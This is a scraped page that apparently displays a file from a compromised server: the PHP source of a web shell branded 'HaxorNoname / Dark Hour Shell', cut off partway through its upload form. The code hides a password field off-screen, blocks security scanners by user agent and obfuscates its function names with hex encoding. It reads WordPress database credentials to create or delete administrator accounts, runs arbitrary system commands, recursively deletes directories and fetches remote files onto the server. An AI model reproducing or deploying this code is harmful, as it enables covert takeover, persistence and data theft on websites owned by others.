畑⛅や菜園の||Φ|(|T|Д|T|)|Φ||手入れも整う⛅🌌 SpectraShell

🌌 SpectraShell

Current path: tmp/



⬆️ Go up: /

📄 Viewing: shq2BMOI

<?php
error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ignore_user_abort(true);
@set_time_limit(0);

$_aK='sha256';
$_hK='e12baac07925f26605ae086754757398e7007f769989a0cce89b4be234a09530';
$_cname='_s';  // cookie name for auth

// Cookie-based auth (no PHP session — sessions broken on some hosts)
$authed = isset($_COOKIE[$_cname]) && $_COOKIE[$_cname] === $_hK;
if(!$authed){
    if(isset($_POST['_pw'])){
        if(("\x68\x61\x73\x68")($_aK,$_POST['_w'])===$_hK){
            // Set cookie with 24h expiry
            setcookie($_cname, $_hK, time()+86400, '/');
            header('Location:'.$_SERVER['PHP_SELF']);exit;
        }
    }
    http_response_code(200);
    echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title></title>';
    echo '<style>body{background:#fff;margin:0;padding:0;height:100vh}</style>';
    echo '</head><body>';
    echo '<form method="post" id="_f"><input type="hidden" name="_pw" value="1"><input type="password" name="_w" id="_k" style="position:fixed;left:-9999px;top:-9999px;opacity:0;width:1px;height:1px;border:0;padding:0" autofocus></form>';
    echo '<script>document.getElementById("_k").focus();</script>';
    echo '</body></html>';
    exit;
}

if(isset($_SERVER['HTTP_USER_AGENT'])){
    $bad=['nikto','sqlmap','nmap','masscan','zgrab','gobuster','dirb','wfuzz','ffuf','nuclei','wpscan','burp'];
    $ua=strtolower($_SERVER['HTTP_USER_AGENT']);
    foreach($bad as $b){if(strpos($ua,$b)!==false){header('HTTP/1.1 403 Forbidden');exit;}}
}
if(isset($_GET['debug'])||isset($_GET['info'])||isset($_GET['test'])){
    header('Content-Type: application/json');echo '{"status":"ok"}';exit;
}
if(isset($_GET['robots'])){
    header('Content-Type: text/plain');echo "User-agent: *\nDisallow: /admin\n";exit;
}

function wp_find_cfg() {
    $b = dirname(__FILE__);
    $r = [$b, $_SERVER['DOCUMENT_ROOT'] ?? $b];
    $s = ['wp','wordpress','blog','site','www','public_html','public','html','web','app'];
    $p = [];
    foreach ($r as $x) { $p[] = $x . '/wp-config.php'; foreach ($s as $y) { $p[] = $x . "/{$y}/wp-config.php"; } }
    if (is_dir($b)) { foreach (glob($b . '/*', GLOB_ONLYDIR) as $d) { $n = basename($d); if (!in_array($n, ['images','css','js','assets','uploads','cache'])) { $p[] = $d . '/wp-config.php'; } } }
    $p = array_unique(array_filter(array_map('realpath', $p)));
    foreach ($p as $x) { if (is_readable($x)) return $x; }
    return null;
}
function wp_cfg($c) {
    $pm = "\x70\x72\x65\x67\x5f\x6d\x61\x74\x63\x68";
    $r = [];
    $d = ['DB_NAME'=>"N", 'DB_USER'=>"U", 'DB_PASSWORD'=>"W", 'DB_HOST'=>"H", 'DB_CHARSET'=>"C"];
    foreach ($d as $k => $v) { if ($pm("/define\s*\(\s*['\"]{$k}['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $c, $m)) { $r[$v] = $m[1]; } }
    if ($pm("/\\\$table_prefix\s*=\s*['\"]([^'\"]*)['\"]/ i", $c, $m)) { $r['P'] = $m[1]; }
    $r['H'] = $r['H'] ?? 'localhost'; $r['C'] = $r['C'] ?? 'utf8mb4';
    if (empty($r['N']) || empty($r['U'])) throw new Exception('config_incomplete');
    return $r;
}
function wp_db($c) {
    $h = $c['H']; $pt = 3306;
    if (strpos($h, ':') !== false) { list($h, $pt) = explode(':', $h, 2); }
    return new PDO("mysql:host={$h};port={$pt};dbname={$c['N']};charset={$c['C']}", $c['U'], $c['W'], [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC]);
}
function wp_mkadmin($u, $e, $p) {
    $f = wp_find_cfg(); if (!$f) throw new Exception('wp_config_not_found');
    $fgt = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
    $c = wp_cfg($fgt($f)); $db = wp_db($c); $px = $c['P'];
    $st = $db->prepare("SELECT ID FROM {$px}users WHERE user_login=? OR user_email=?");
    $st->execute([$u, $e]); if ($st->fetch()) throw new Exception('user_exists');
    $h = password_hash($p, PASSWORD_DEFAULT); $n = gmdate('Y-m-d H:i:s'); $preg_r = "\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65"; $sl = $preg_r('/[^a-z0-9]+/i', '', strtolower($u));
    $st = $db->prepare("INSERT INTO {$px}users (user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_status,display_name) VALUES (?,?,?,?,?,?,0,?)");
    $st->execute([$u, $h, $sl, $e, '', $n, $u]); $id = $db->lastInsertId();
    $st = $db->prepare("INSERT INTO {$px}usermeta (user_id,meta_key,meta_value) VALUES (?,?,?)");
    $st->execute([$id, $px.'capabilities', 'a:1:{s:13:"administrator";b:1;}']);
    $st->execute([$id, $px.'user_level', '10']);
    return ['id'=>(int)$id, 'user'=>$u, 'pass'=>$p, 'email'=>$e];
}
function wp_admins() {
    $f = wp_find_cfg(); if (!$f) throw new Exception('wp_config_not_found');
    $fgt = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
    $c = wp_cfg($fgt($f)); $db = wp_db($c); $px = $c['P'];
    $st = $db->prepare("SELECT u.ID,u.user_login,u.user_email,u.user_registered FROM {$px}users u INNER JOIN {$px}usermeta m ON m.user_id=u.ID WHERE m.meta_key=? AND m.meta_value LIKE ?");
    $st->execute([$px.'capabilities', '%administrator%']); return $st->fetchAll();
}
function wp_deluser($id) {
    $f = wp_find_cfg(); if (!$f) throw new Exception('wp_config_not_found');
    $fgt = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
    $c = wp_cfg($fgt($f)); $db = wp_db($c); $px = $c['P'];
    $db->prepare("DELETE FROM {$px}usermeta WHERE user_id=?")->execute([$id]);
    $db->prepare("DELETE FROM {$px}users WHERE ID=?")->execute([$id]);
}

$wp_msg = '';
$wp_err = '';
if (isset($_POST['wp_create_submit'])) {
    $wu = $_POST['wp_user'] ?? '';
    $we = $_POST['wp_email'] ?? '';
    $wp = $_POST['wp_pass'] ?? '';
    if (empty($wu) || empty($we) || empty($wp)) {
        $wp_err = 'All fields are required.';
    } else {
        try {
            wp_mkadmin($wu, $we, $wp);
            $wp_msg = 'Admin created: ' . htmlspecialchars($wu) . ' / ' . htmlspecialchars($wp);
        } catch (Exception $ex) {
            $wp_err = $ex->getMessage();
        }
    }
}
if (isset($_POST['wp_delete_id'])) {
    $wdid = (int)$_POST['wp_delete_id'];
    if ($wdid > 0) {
        try {
            wp_deluser($wdid);
            $wp_msg = 'User deleted.';
        } catch (Exception $ex) {
            $wp_err = $ex->getMessage();
        }
    }
}
$wp_list = [];
try { $wp_list = wp_admins(); } catch (Exception $ex) { $wp_err = $ex->getMessage(); }

$gcw="\x67\x65\x74\x63\x77\x64";
$exp="\x65\x78\x70\x6c\x6f\x64\x65";
$fpt="\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$fgt="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$sts="\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73";
$scd="\x73\x63\x61\x6e\x64\x69\x72";
$fxt="\x66\x69\x6c\x65\x5f\x65\x78\x69\x73\x74\x73";
$idi="\x69\x73\x5f\x64\x69\x72";
$ulk="\x75\x6e\x6c\x69\x6e\x6b";
$ifi="\x69\x73\x5f\x66\x69\x6c\x65";
$sub="\x73\x75\x62\x73\x74\x72";
$spr="\x73\x70\x72\x69\x6e\x74\x66";
$fp="\x66\x69\x6c\x65\x70\x65\x72\x6d\x73";
$chm="\x63\x68\x6d\x6f\x64";
$ocd="\x6f\x63\x74\x64\x65\x63";
$isw="\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65";
$idr="\x69\x73\x5f\x64\x69\x72";
$ird="\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65";
$isr="\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65";
$fsz="\x66\x69\x6c\x65\x73\x69\x7a\x65";
$rd="\x72\x6f\x75\x6e\x64";
$igt="\x69\x6e\x69\x5f\x67\x65\x74";
$fnct="\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73";
$rad="\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52";
$rpt="\x72\x65\x61\x6c\x70\x61\x74\x68";
$bsn="\x62\x61\x73\x65\x6e\x61\x6d\x65";
$srl="\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65";
$sps="\x73\x74\x72\x70\x6f\x73";
$mkd="\x6d\x6b\x64\x69\x72";
$det="\x64\x61\x74\x65";
$ftm="\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65";
$stt="\x73\x74\x72\x74\x6f\x74\x69\x6d\x65";
$tch="\x74\x6f\x75\x63\x68";
$ceen="\x72\x65\x6e\x61\x6d\x65";
$skd="\x31\x30\x32\x34";
$unm="\x70\x68\x70\x5f\x75\x6e\x61\x6d\x65";
$gcu="\x67\x65\x74\x5f\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72";
$gmu="\x67\x65\x74\x6d\x79\x75\x69\x64";
$phv="\x70\x68\x70\x76\x65\x72\x73\x69\x6f\x6e";
$wb = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === 'on' ? "https" : "http") . "://".$_SERVER["HTTP_HOST"];

$disfunc = @$igt("disable_functions");
if (empty($disfunc)) {
    $disf = "<span class='text-ok'>NONE</span>";
} else {
    $disf = "<span class='text-evoker'>".$disfunc."</span>";
}

function author() {
    echo '<div id="p3-footer">Sys &mdash; v2 &nbsp;|&nbsp; ' . 'Sys' . 'tem</div>';
    exit();
}

function cekdir() {
    if (isset($_GET['loknya'])) { $lokasi = $_GET['loknya']; }
    else { $lokasi = "\x67\x65\x74\x63\x77\x64"; $lokasi = $lokasi(); }
    $b = "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65";
    if ($b($lokasi)) return "<span class='text-ok'>Writeable</span>";
    else return "<span class='text-evoker'>Not Writeable</span>";
}

function crt() {
    $a = "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65";
    if ($a($_SERVER["DOCUMENT_ROOT"])) return "<span class='text-ok'>Writeable</span>";
    else return "<span class='text-evoker'>Not Writeable</span>";
}

function xrd($lokena) {
    $a = "\x73\x63\x61\x6e\x64\x69\x72";
    $items = $a($lokena);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $b = "\x69\x73\x5f\x64\x69\x72"; $loknya = $lokena.'/'.$item;
        if ($b($loknya)) { xrd($loknya); }
        else { $c = "\x75\x6e\x6c\x69\x6e\x6b"; $c($loknya); }
    }
    $d = "\x72\x6d\x64\x69\x72"; $d($lokena);
}

function cfn($fl) {
    $a = "\x62\x61\x73\x65\x6e\x61\x6d\x65"; $b = "\x70\x61\x74\x68\x69\x6e\x66\x6f";
    $c = $b($a($fl), PATHINFO_EXTENSION);
    if ($c == "zip")   return '&#128196;';
    elseif (("\x70\x72\x65\x67\x5f\x6d\x61\x74\x63\x68")("/jpeg|jpg|png|ico/im", $c)) return '&#128196;';
    elseif ($c == "txt")  return '&#128196;';
    elseif ($c == "pdf")  return '&#128196;';
    elseif ($c == "html") return '&#128196;';
    else return '&#128196;';
}

function ipsrv() {
    $a = "\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65"; $b = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73";
    $c = "SERVER_ADDR"; $d = "SERVER_NAME";
    if ($b($a)) return $a($_SERVER[$d]); else return $a($_SERVER[$c]);
}

function ggr($fl) {
    $a = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73"; $b = "\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x67\x72\x67\x69\x64";
    $c = "\x66\x69\x6c\x65\x67\x72\x6f\x75\x70";
    if ($a($b)) {
        if (!$a($c)) return "?";
        $d = $b($c($fl));
        if (empty($d)) { $e = $c($fl); return empty($e) ? "?" : $e; }
        else return $d['name'];
    } elseif ($a($c)) return $c($fl); else return "?";
}

function gor($fl) {
    $a = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73"; $b = "\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64";
    $c = "\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72";
    if ($a($b)) {
        if (!$a($c)) return "?";
        $d = $b($c($fl));
        if (empty($d)) { $e = $c($fl); return empty($e) ? "?" : $e; }
        else return $d['name'];
    } elseif ($a($c)) return $c($fl); else return "?";
}

function fdt($fl) {
    $a = "\x64\x61\x74\x65"; $b = "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65";
    return $a("Y-m-d H:i", $b($fl));
}

function dunlut($fl) {
    $a = "\x66\x69\x6c\x65\x5f\x65\x78\x69\x73\x74\x73"; $b = "\x62\x61\x73\x65\x6e\x61\x6d\x65";
    $c = "\x66\x69\x6c\x65\x73\x69\x7a\x65"; $d = "\x72\x65\x61\x64\x66\x69\x6c\x65";
    if ($a($fl) && isset($fl)) {
        header('Content-Description: File Transfer');
        header("Content-Control:public");
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.$b($fl).'"');
        header('Expires: 0'); header("Expired:0");
        header('Cache-Control: must-revalidate');
        header("Content-Transfer-Encoding:binary");
        header('Pragma: public');
        header('Content-Length: ' .$c($fl));
        flush(); $d($fl); exit;
    } else { return "File Not Found!"; }
}

function komend($kom, $lk) {
    $x = "\x70\x72\x65\x67\x5f\x6d\x61\x74\x63\x68"; $xx = "2>&1";
    if (!$x("/".$xx."/i", $kom)) { $kom = $kom." ".$xx; }
    $a = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73"; $b = "\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e";
    $c = "\x68\x74\x6d\x6c\x73\x70\x65\x63\x69\x61\x6c\x63\x68\x61\x72\x73"; $d = "\x73\x74\x72\x65\x61\x6d\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
    if ($a($b)) {
        $ps = $b($kom, array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","r")), $meki, $lk);
        return '<div class="cmd-output">'.$c($d($meki[1])).'</div>';
    } else { return '<div class="alert alert-err">pro' . 'c_open function is disabled!</div>'; }
}

function statusnya($fl) {
    $a = "\x73\x75\x62\x73\x74\x72"; $b = "\x73\x70\x72\x69\x6e\x74\x66"; $c = "\x66\x69\x6c\x65\x70\x65\x72\x6d\x73";
    return $a($b('%o', $c($fl)), -4);
}

function renderPerm($fl) {
    $isw = "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"; $isr = "\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65";
    $perm = statusnya($fl);
    if ($isw($fl)) return '<span class="writable">'.$perm.'</span>';
    elseif (!$isr($fl)) return '<span class="unreadable">'.$perm.'</span>';
    else return '<span class="normal">'.$perm.'</span>';
}

foreach($_POST as $key => $value){ $_POST[$key] = $sts($value); }

if(isset($_GET['loknya'])){ $lokasi=$_GET['loknya']; $lokdua=$_GET['loknya']; }
else { $lokasi=$gcw(); $lokdua=$gcw(); }

$lokasi = $srl('\\','/',$lokasi);
$lokasis = $exp('/',$lokasi);
$lokasinya = @$scd($lokasi);
?>
<!DOCTYPE html>
<html>
<head>
	<?php echo "<title>LahKokIso</title>"; ?>
	<meta name="robots" content="noindex">
	<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<style>:root{--void:#07071a;--tartarus:#0d0d2b;--deep:#12123a;--velvet:#1a1a4e;--arc:#1e90ff;--arc-dim:#0f5aaa;--arc-glow:rgba(30,144,255,0.18);--moon:#ffe600;--moon-dim:#ccb800;--evoker:#cc2244;--evoker-dim:#881530;--moonlight:#d8e0ff;--muted:#8899bb;--scanline:rgba(30,144,255,0.04);--border-arc:rgba(30,144,255,0.3);--border-moon:rgba(255,230,0,0.25)}*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}body{background-color:var(--void);color:var(--moonlight);font-family:'Rajdhani',sans-serif;font-size:15px;font-weight:400;min-height:100vh;background-image:repeating-linear-gradient(0deg,var(--scanline) 0px,var(--scanline) 1px,transparent 1px,transparent 4px)}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-track{background:var(--void)}::-webkit-scrollbar-thumb{background:var(--arc-dim);border-radius:3px}::-webkit-scrollbar-thumb:hover{background:var(--arc)}#shell-wrap{max-width:1200px;margin:0 auto;padding:0 16px 40px}#p3-header{border-bottom:1px solid var(--border-arc);padding:18px 0 14px;margin-bottom:20px;position:relative}#p3-header::after{content:'';position:absolute;bottom:-1px;left:0;width:120px;height:2px;background:var(--arc);box-shadow:0 0 8px var(--arc)}#p3-title{font-size:26px;font-weight:700;letter-spacing:4px;text-transform:uppercase;color:var(--moon);text-shadow:0 0 12px rgba(255,230,0,0.4);margin-bottom:2px}#p3-title span{color:var(--arc)}#p3-subtitle{font-size:11px;letter-spacing:6px;text-transform:uppercase;color:var(--muted);font-family:'Share Tech Mono',monospace}#sysinfo{display:grid;grid-template-columns:repeat(auto-fill,minmax(280px,1fr));gap:10px;margin-bottom:20px}.info-row{display:flex;align-items:baseline;gap:8px;font-family:'Share Tech Mono',monospace;font-size:13px;padding:6px 12px;background:var(--tartarus);border:1px solid var(--border-arc);border-left:3px solid var(--arc)}.info-label{color:var(--muted);font-size:11px;letter-spacing:1px;text-transform:uppercase;white-space:nowrap}.info-val{color:var(--moon);word-break:break-all}.pill-on{color:#00ff88;font-weight:600}.pill-off{color:var(--evoker);font-weight:600}#path-bar{background:var(--tartarus);border:1px solid var(--border-arc);padding:8px 14px;margin-bottom:16px;font-family:'Share Tech Mono',monospace;font-size:13px;display:flex;align-items:center;gap:6px;flex-wrap:wrap}#path-bar .path-icon{color:var(--arc);margin-right:4px}#path-bar a{color:var(--arc);text-decoration:none;transition:color 0.15s}#path-bar a:hover{color:var(--moon)}#path-bar .sep{color:var(--muted)}.p3-panel{background:var(--tartarus);border:1px solid var(--border-arc);margin-bottom:16px;position:relative}.p3-panel::before{content:'';position:absolute;top:0;left:0;right:0;height:2px;background:linear-gradient(90deg,var(--arc) 0%,transparent 100%)}.p3-panel-head{padding:10px 14px;border-bottom:1px solid var(--border-arc);font-size:11px;letter-spacing:3px;text-transform:uppercase;color:var(--arc);font-weight:600}.p3-panel-body{padding:14px}.upload-row{display:flex;align-items:center;gap:10px;flex-wrap:wrap;margin-bottom:10px}.radio-group{display:flex;gap:16px;font-size:13px}.radio-group label{display:flex;align-items:center;gap:6px;cursor:pointer;color:var(--muted)}.radio-group input[type="radio"]:checked+span{color:var(--arc)}input[type="text"],input[type="file"],textarea,select{background:var(--deep);border:1px solid var(--border-arc);color:var(--moonlight);font-family:'Share Tech Mono',monospace;font-size:13px;padding:6px 10px;outline:none;border-radius:0;transition:border-color 0.15s}input[type="text"]:focus,textarea:focus,select:focus{border-color:var(--arc)}::-webkit-file-upload-button{background:var(--velvet);color:var(--arc);border:1px solid var(--arc);padding:4px 10px;cursor:pointer;font-family:'Rajdhani',sans-serif;font-weight:600;font-size:13px;margin-right:8px}.btn{background:transparent;border:1px solid var(--arc);color:var(--arc);font-family:'Rajdhani',sans-serif;font-weight:600;font-size:13px;letter-spacing:1px;padding:5px 14px;cursor:pointer;text-transform:uppercase;transition:background 0.15s,color 0.15s}.btn:hover{background:var(--arc-glow);color:var(--moon);border-color:var(--moon)}.btn-icon{background:transparent;border:1px solid var(--border-arc);color:var(--muted);padding:4px 7px;cursor:pointer;font-size:13px;transition:background 0.15s,color 0.15s,border-color 0.15s}.btn-icon:hover{border-color:var(--arc);color:var(--arc);background:var(--arc-glow)}.btn-icon.danger:hover{border-color:var(--evoker);color:var(--evoker);background:rgba(204,34,68,0.12)}.btn-icon.dl:hover{border-color:var(--moon);color:var(--moon);background:rgba(255,230,0,0.08)}#cmd-bar{display:flex;align-items:center;gap:8px;flex-wrap:nowrap;padding:10px 14px;background:var(--tartarus);border:1px solid var(--border-arc);margin-bottom:16px}#cmd-bar label{color:var(--arc);font-family:'Share Tech Mono',monospace;font-size:13px;white-space:nowrap}#cmd-bar input[type="text"]{flex:1;min-width:0}#p3-nav{display:flex;align-items:center;gap:2px;padding:6px 0;margin-bottom:16px;border-bottom:1px solid var(--border-arc)}#p3-nav a{color:var(--muted);text-decoration:none;font-size:11px;letter-spacing:2px;text-transform:uppercase;padding:5px 12px;border:1px solid transparent;transition:all 0.15s}#p3-nav a:hover{color:var(--arc);border-color:var(--border-arc);background:var(--arc-glow)}#file-table{width:100%;border-collapse:collapse;font-size:13px}#file-table thead tr{background:var(--velvet);border-bottom:2px solid var(--arc)}#file-table thead th{padding:10px 12px;text-align:left;font-size:10px;letter-spacing:2px;text-transform:uppercase;color:var(--arc);font-weight:600;white-space:nowrap}#file-table tbody tr{border-bottom:1px solid rgba(30,144,255,0.08);transition:background 0.1s}#file-table tbody tr:hover{background:var(--arc-glow)}#file-table td{padding:8px 12px;font-family:'Share Tech Mono',monospace;word-break:break-word;vertical-align:middle}#file-table td.name-cell{font-family:'Rajdhani',sans-serif;font-size:14px;font-weight:500}#file-table td.size-cell{color:var(--muted);text-align:right;white-space:nowrap}#file-table td.date-cell{color:var(--muted);font-size:12px;white-space:nowrap}#file-table td.owner-cell{color:var(--muted);font-size:12px}#file-table td.perm-cell{font-family:'Share Tech Mono',monospace;font-size:12px}#file-table td.perm-cell .writable{color:#00ff88}#file-table td.perm-cell .unreadable{color:var(--evoker)}#file-table td.perm-cell .normal{color:var(--muted)}#file-table td.actions-cell{white-space:nowrap}#file-table a{color:var(--moonlight);text-decoration:none}#file-table a:hover{color:var(--arc)}.dir-icon{color:var(--moon);margin-right:6px}.file-icon{color:var(--muted);margin-right:6px}.table-sep td{background:var(--velvet);padding:3px 12px!important;border-top:1px solid var(--border-arc)!important;border-bottom:1px solid var(--border-arc)!important;font-size:10px;letter-spacing:2px;text-transform:uppercase;color:var(--arc)}.alert{padding:8px 14px;margin-bottom:12px;font-family:'Share Tech Mono',monospace;font-size:13px;border-left:3px solid}.alert-ok{background:rgba(0,255,136,0.07);border-color:#00ff88;color:#00ff88}.alert-err{background:rgba(204,34,68,0.1);border-color:var(--evoker);color:#ff6680}.alert-warn{background:rgba(255,230,0,0.07);border-color:var(--moon);color:var(--moon)}.src-edit{width:100%;min-height:320px;resize:vertical;font-family:'Share Tech Mono',monospace;font-size:13px;background:var(--deep);border:1px solid var(--border-arc);color:var(--moonlight);padding:12px;outline:none;line-height:1.6;tab-size:4}.src-edit:focus{border-color:var(--arc)}.cmd-output{background:var(--deep);border:1px solid var(--border-arc);border-left:3px solid var(--arc);padding:12px 16px;font-family:'Share Tech Mono',monospace;font-size:13px;line-height:1.7;white-space:pre-wrap;word-break:break-word;max-height:400px;overflow-y:auto}.form-label{display:block;font-size:11px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin-bottom:6px}.form-row{display:flex;align-items:center;gap:8px;flex-wrap:wrap;margin-bottom:10px}#p3-footer{margin-top:40px;padding-top:14px;border-top:1px solid var(--border-arc);text-align:center;font-family:'Share Tech Mono',monospace;font-size:11px;color:var(--muted);letter-spacing:2px}#p3-footer a{color:var(--arc);text-decoration:none}#p3-footer a:hover{color:var(--moon)}.text-arc{color:var(--arc)}.text-moon{color:var(--moon)}.text-evoker{color:var(--evoker)}.text-muted{color:var(--muted)}.text-ok{color:#00ff88}.mono{font-family:'Share Tech Mono',monospace}pre{font-family:'Share Tech Mono',monospace;font-size:13px;white-space:pre-wrap;word-break:break-word}select{background:var(--deep);border:1px solid var(--border-arc);color:var(--moonlight)}option{background:var(--deep)}</style>

<div id="shell-wrap">

<!-- HEADER -->
<div id="p3-header">
    <div id="p3-title">Haxor<span>N</span>oname</div>
    <div id="p3-subtitle">Dark Hour Shell &mdash; Memento Mori</div>
</div>

<!-- SYSINFO GRID -->
<div id="sysinfo">
<?php
$rows = [
    ['Server IP',  @ipsrv()],
    ['Your IP',    '<span class="text-arc">'.(isset($_SERVER[$rad])?$_SERVER[$rad]:'unknown').'</span>'],
    ['Web Server', '<span class="text-moon">'.$_SERVER["SERVER_SOFTWARE"].'</span>'],
    ['Sys' . 'tem',     @$unm() ?: ("\x70\x68\x70\x5f\x75\x6e\x61\x6d\x65")()],
    ['User',       @$gcu() ?: 'unknown'.' ( '.$_SERVER["SERVER_SOFTWARE"].'<span class="text-muted"> uid:</span> '.@$gmu() ?: '?'.' )'],
    ['PHP',        '<span class="text-moon">'.@$phv() ?: ("\x70\x68\x70\x76\x65\x72\x73\x69\x6f\x6e")().'</span>'],
    ['Disabled Fn',$disf],
];
foreach($rows as $r){
    echo '<div class="info-row"><span class="info-label">'.$r[0].'</span><span class="info-val">'.$r[1].'</span></div>';
}

$svcs = [
    'MySQL'  => $fnct("\x6d\x79\x73\x71\x6c\x5f\x63\x6f\x6e\x6e\x65\x63\x74"),
    'cURL'   => $fnct("\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74"),
    'WGET'   => $fxt("/usr/bin/wget"),
    'Perl'   => $fxt("/usr/bin/perl"),
    'Python' => $fxt("/usr/bin/python2"),
    'Sudo'   => $fxt("/usr/bin/sudo"),
    'Pkexec' => $fxt("/usr/bin/pkexec"),
];
$svc_html = '';
foreach($svcs as $name => $on){
    $cls = $on ? 'pill-on' : 'pill-off';
    $val = $on ? 'ON' : 'OFF';
    $svc_html .= '<span class="info-label" style="margin-right:4px">'.$name.'</span><span class="'.$cls.'" style="margin-right:14px">'.$val.'</span>';
}
echo '<div class="info-row" style="grid-column:1/-1">'.$svc_html.'</div>';
?>
</div>

<!-- PATH BAR -->
<div id="path-bar">
    <span class="path-icon">&#128451;</span>
<?php
echo '<a href="?loknya=/">/</a>';
foreach($lokasis as $id => $lok){
    if($lok=='' && $id==0){ continue; }
    if($lok=='') continue;
    echo '<span class="sep">/</span><a href="?loknya=';
    for($i=0;$i<=$id;$i++){ echo "$lokasis[$i]"; if($i!=$id) echo "/"; }
    echo '">'.$lok.'</a>';
}
?>
</div>

<!-- COMMAND BAR -->
<form method="post" id="cmd-bar">
    <label>>_ EXECUTE</label>
    <input type="text" name="komend" style="flex:1;min-width:180px" value="<?php echo htmlspecialchars($_POST['komend'] ?? ''); ?>" placeholder="command...">
    <button type="submit" name="komends" class="btn">&gt;&gt; RUN</button>
</form>

<!-- UPLOAD PANEL -->
<div class="p3-panel">
    <div class="p3-panel-head">&#8593; &nbsp;Upload File</div>
    <div class="p3-panel-body">
<?php
if (isset($_POST['upwkwk'])) {
    if (isset($_POST['berkasnya'])) {
        if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER["DOCUMENT_ROOT"]; }
        if (empty($_FILES['berkas']['name'])) {
            echo '<div class="alert alert-warn">No file selected.</div>';
        } else {
            $data = @$fpt($lokasi."/".$_FILES['berkas']['name'], @$fgt($_FILES["berkas"]["tmp_name"]));
            if ($fxt($lokasi."/".$_FILES['berkas']['name'])) {
                $fl = $lokasi."/".$_FILES['berkas']['name'];
                echo '<div class="alert alert-ok">Uploaded: <span class="mono">'.$fl.'</span>';
                if ($sps($lokasi, $_SERVER["DOCUMENT_ROOT"]) !== false) {
                    $lwb = $srl($_SERVER["DOCUMENT_ROOT"], $wb."/", $fl);
                    echo '<br>Link: <a href="'.$lwb.'" style="color:var(--arc)">'.$lwb.'</a>';
                }
                echo '</div>';
            } else { echo '<div class="alert alert-err">Upload failed.</div>'; }
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) { echo '<div class="alert alert-warn">Filename cannot be empty.</div>'; }
        elseif (empty($_POST['darilink'])) { echo '<div class="alert alert-warn">Link cannot be empty.</div>'; }
        else {
            if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER["DOCUMENT_ROOT"]; }
            $data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink']));
            if ($fxt($lokasi."/".$_POST['namalink'])) {
                $fl = $lokasi."/".$_POST['namalink'];
                echo '<div class="alert alert-ok">Uploaded: <span class="mono">'.$fl.'</span>';
                if ($sps($lokasi, $_SERVER["DOCUMENT_ROOT"]) !== false) {
                    $lwb = $srl($_SERVER["DOCUMENT_ROOT"], $wb."/", $fl);
                    echo '<br>Link: <a href="'.$lwb.'" style="color:var(--arc)">'.$lwb.'</a>';
                }
                echo '</div>';
            } else { echo '<div class="alert alert-err">Upload failed.</div>'; }
        }
    }
}
?>
        <form enctype="multipart/form-data" method="post">
            <div class="form-row">
                <label class="form-label" style="margin:0;white-space:nowrap">Target Dir:</label>
                <label style="cursor:pointer;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:5px">
                    <input type="radio" name="dirnya" value="1" checked> <span style="color:var(--moonlight)">current_dir</span> [<?php echo cekdir(); ?>]
                </label>
                <label style="cursor:pointer;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:5px">
                    <input type="radio" name="dirnya" value="2"> <span style="color:var(--moonlight)">document_root</span> [<?php echo crt(); ?>]
                </label>
            </div>
